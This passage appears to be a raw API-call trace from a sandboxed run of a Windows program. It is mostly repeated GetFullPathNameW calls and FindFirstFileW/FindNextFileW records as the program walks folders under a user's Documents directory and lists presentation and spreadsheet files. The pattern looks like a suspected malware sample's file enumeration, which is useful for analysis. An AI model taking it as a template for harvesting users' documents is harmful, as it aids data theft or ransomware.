HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e840) returned 1 [0080.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", nBufferLength=0x105, lpBuffer=0x1ca2e330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o", lpFilePart=0x0) returned 0x48 [0080.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\", nBufferLength=0x105, lpBuffer=0x1ca2e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\", lpFilePart=0x0) returned 0x49 [0080.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\*", lpFindFileData=0x1ca2e4e0 | out: lpFindFileData=0x1ca2e4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b69de20, ftCreationTime.dwHighDateTime=0x1d5d891, ftLastAccessTime.dwLowDateTime=0x4d13b6d0, ftLastAccessTime.dwHighDateTime=0x1d5d818, ftLastWriteTime.dwLowDateTime=0x4d13b6d0, ftLastWriteTime.dwHighDateTime=0x1d5d818, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a890 [0080.334] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b69de20, ftCreationTime.dwHighDateTime=0x1d5d891, ftLastAccessTime.dwLowDateTime=0x4d13b6d0, ftLastAccessTime.dwHighDateTime=0x1d5d818, ftLastWriteTime.dwLowDateTime=0x4d13b6d0, ftLastWriteTime.dwHighDateTime=0x1d5d818, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.334] FindNextFileW (in: hFindFile=0x1a62a890, lpFindFileData=0x1ca2e5c0 | out: lpFindFileData=0x1ca2e5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565fde50, ftCreationTime.dwHighDateTime=0x1d5d942, ftLastAccessTime.dwLowDateTime=0xb7111270, ftLastAccessTime.dwHighDateTime=0x1d5da17, ftLastWriteTime.dwLowDateTime=0xb7111270, ftLastWriteTime.dwHighDateTime=0x1d5da17, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cogMpQr644O", cAlternateFileName="COGMPQ~1")) returned 1 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e7e0) returned 1 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", nBufferLength=0x105, lpBuffer=0x1ca2e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O", lpFilePart=0x0) returned 0x54 [0080.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\", nBufferLength=0x105, lpBuffer=0x1ca2e270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\", lpFilePart=0x0) returned 0x55 [0080.336] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\*", lpFindFileData=0x1ca2e480 | out: lpFindFileData=0x1ca2e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565fde50, ftCreationTime.dwHighDateTime=0x1d5d942, ftLastAccessTime.dwLowDateTime=0xb7111270, ftLastAccessTime.dwHighDateTime=0x1d5da17, ftLastWriteTime.dwLowDateTime=0xb7111270, ftLastWriteTime.dwHighDateTime=0x1d5da17, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a8f0 [0080.337] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x565fde50, ftCreationTime.dwHighDateTime=0x1d5d942, ftLastAccessTime.dwLowDateTime=0xb7111270, ftLastAccessTime.dwHighDateTime=0x1d5da17, ftLastWriteTime.dwLowDateTime=0xb7111270, ftLastWriteTime.dwHighDateTime=0x1d5da17, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.337] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17c8e620, ftCreationTime.dwHighDateTime=0x1d5de36, ftLastAccessTime.dwLowDateTime=0x16a82650, ftLastAccessTime.dwHighDateTime=0x1d5dbe5, ftLastWriteTime.dwLowDateTime=0x16a82650, ftLastWriteTime.dwHighDateTime=0x1d5dbe5, nFileSizeHigh=0x0, nFileSizeLow=0x1496c, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Fyfm.pptx", cAlternateFileName="8FYFM~1.PPT")) returned 1 [0080.337] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca3f9170, ftCreationTime.dwHighDateTime=0x1d5e212, ftLastAccessTime.dwLowDateTime=0x1c00edd0, ftLastAccessTime.dwHighDateTime=0x1d5df23, ftLastWriteTime.dwLowDateTime=0x1c00edd0, ftLastWriteTime.dwHighDateTime=0x1d5df23, nFileSizeHigh=0x0, nFileSizeLow=0xb38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMpW.pptx", cAlternateFileName="MMPW~1.PPT")) returned 1 [0080.337] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fa40ca0, ftCreationTime.dwHighDateTime=0x1d5df94, ftLastAccessTime.dwLowDateTime=0x2604600, ftLastAccessTime.dwHighDateTime=0x1d5d9a6, ftLastWriteTime.dwLowDateTime=0x2604600, ftLastWriteTime.dwHighDateTime=0x1d5d9a6, nFileSizeHigh=0x0, nFileSizeLow=0xeb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="QrhI-c.csv", cAlternateFileName="")) returned 1 [0080.338] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191858e0, ftCreationTime.dwHighDateTime=0x1d5e52e, ftLastAccessTime.dwLowDateTime=0x4d09c740, ftLastAccessTime.dwHighDateTime=0x1d5d982, ftLastWriteTime.dwLowDateTime=0x4d09c740, ftLastWriteTime.dwHighDateTime=0x1d5d982, nFileSizeHigh=0x0, nFileSizeLow=0xa921, dwReserved0=0x0, dwReserved1=0x0, cFileName="RKp5K.odp", cAlternateFileName="")) returned 1 [0080.338] FindNextFileW (in: hFindFile=0x1a62a8f0, lpFindFileData=0x1ca2e560 | out: lpFindFileData=0x1ca2e560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1405e8b0, ftCreationTime.dwHighDateTime=0x1d5dbdb, ftLastAccessTime.dwLowDateTime=0xdf872600, ftLastAccessTime.dwHighDateTime=0x1d5e105, ftLastWriteTime.dwLowDateTime=0xdf872600, ftLastWriteTime.dwHighDateTime=0x1d5e105, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uhXCAn3bENH9J2sM Go", cAlternateFileName="UHXCAN~1")) returned 1 [0080.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, lpBuffer=0x1ca2e250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", lpFilePart=0x0) returned 0x68 [0080.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\uhXCAn3bENH9J2sM Go", nBufferLength=0x105, 